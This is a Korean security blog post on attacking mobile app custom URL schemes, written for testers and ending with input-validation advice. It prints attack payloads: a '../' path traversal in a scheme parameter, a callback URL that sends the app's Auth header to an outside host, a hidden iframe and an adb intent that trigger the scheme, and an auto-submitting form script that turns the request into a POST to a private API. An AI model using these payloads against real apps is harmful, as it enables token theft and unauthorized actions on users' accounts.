Custom Scheme API Path Manipulation과 트릭을 이용한 API Method 변조
앱을 테스트 하다보면 Custom Scheme에서 발생한 API 요청 중 일부에 대해 주소 변조나 API 로직을 바꿀 수 있는 부분이 있을 때가 있습니다. 다만 실제로 중요한 요청들은 RESTful 하다면 POST/PUT/DELETE 등으로 구현되는데요. 웹을 컨트롤할 수 있는 앱 스킴들은 보통 GET 요청으로 강제되기 때문에 우리를 불편하게 하곤 합니다.
그래서 생각하다보니 재미있는 방법이 나와서 공유드립니다.
Custom Scheme API Path Manipulation #
보통 자주 점검하는 방법이지만, 이런 공격 방법을 지칭하는 말이 있는지는 모르겠네요. 그래서 저는 그냥 Custom Scheme API Path Manipulation 란 단어로 표현하곤 합니다. 어떤 방식인지 살펴보죠.
testapp://auth?user={user input}
이를 통해 발생하는 요청은
GET /auth/checkuser/{user input}/name
Auth: a7656465a78a9765a4a5...
이렇다고 할 때 이 스킴은 API Path 변조의 위협이 있겠죠.
Attack Scheme
testapp://auth?user=../../myapi?
Request
GET /auth/checkuser/../../myapi?/name
Auth: a7656465a78a9765a4a5...
실제로 처리될 땐..
GET /myapi?/name
Auth: a7656465a78a9765a4a5...
개발자의 의도와는 다르게 공격자는 PATH를 바꿀 수 있느데, 이때 HTTP Method는 GET으로 한정됩니다.. (현재 기준으론) 간혹 이런 경우도 있습니다.
Attack Scheme
testapp://auth?callback=https:///www.hahwul.com
Request
GET /auth/
Host www.hahwul.com
Auth: a7656465a78a9765a4a5...
Using android.intent.action #
adb로는 아래와 같습니다. 웹에서도 intent를 불러 공격을 할 수 있죠.
adb shell am start -a android.intent.action.VIEW -d "testapp://auth?callback=https:///www.hahwul.com"
Using Web #
테스트코드로는 별로지만 실제로는 이쪽이 더 사용성이 높습니다.
<iframe src="testapp://auth?callback=https:///www.hahwul.com" style="width:1px;height:1px;">
</iframe>
Change Method in WebView/Browser #
보통 GET 단위에서의 변조도 분명 무시하진 못합니다. 중요 헤더나 인증쿠키, API Key 등이 같이 사용되기 떄문에 Native 레벨에서의 API과 동일하기 떄문이죠. 그치만, POST 등 다른 메소드를 쓸 수 있을 때 좀 더 중요한 기능들을 호출할 수 있게됩니다.
API가 Navtive단에서 직접 호출한다면 메소드를 변조하긴 어렵지만, 만약 웹 뷰나 인앱 브라우저를 통해 호출되는 경우 브라우징 엔진이 Javascript 등을 읽고 동작시키기 때문에 form이나 js 코드단에서의 Request 재 생성 시 메소드를 바꿀 수 있습니다. 이러한 공격을 위해선 API 도메인 내 redirect 페이지가 있거나, 공격자가 심어둔 공격코드 페이지를 호출할 수 있는 조건이 필요하겠죠.
<form action="" id="f">
</form>
<script>
var f = document.getElementById('f');
f.action="https://target_domain"+document.location.hash.replace('#','');
f.method='post';
f.submit();
</script>
이제 이걸 약간 적용해보면..
Attack Scheme
testapp://auth?callback=https://192.168.0.13/test.html#/private/api/call
Request Step
[ Request 1 ]
GET /test.html
Host: 192.168.0.13
Auth: a7656465a78a9765a4a5...
[ Response 1 ]
200 OK
....
<form action="" id="f">
</form>
<script>
var f = document.getElementById('f');
f.action="https://target_domain"+document.location.pathname;
f.method='post';
f.submit();
</script>
[ Final Request ]
POST /private/api/call
Host: target_domain
Auth: a7656465a78a9765a4a5...
결과적으론 /private/api/call을 POST로 호출하게 됩니다.
How to defense? #
결국 입력값 검증에 대한 문제입니다. 대부분 Custom Scheme으로 들어온 값에 대해선 ../ 등의 구문을 Escape 하지 않는 경우가 많은데 보편적인 웹 공격에 쓰이는 대다수의 구문은 막아두는게 좋습니다. 또한 다바이스로 넘어가서 처리되는 부분이라 인코딩쪽으로 우회 케이스가 굉장히 많을텐데, 이 또한 잘 디코딩해서 Escape가 필요할 것 같습니다.
보통 Scheme 파라미터에 들어오는 값은 어느정도 정해져있으니(타입이나 값의 특징들?) 허용범위(예를들면 변수 타입이 Int가 아닌경우..)를 벗어났을 떄 차단하는 방식으로 대응하면 좀 더 효과적입니다.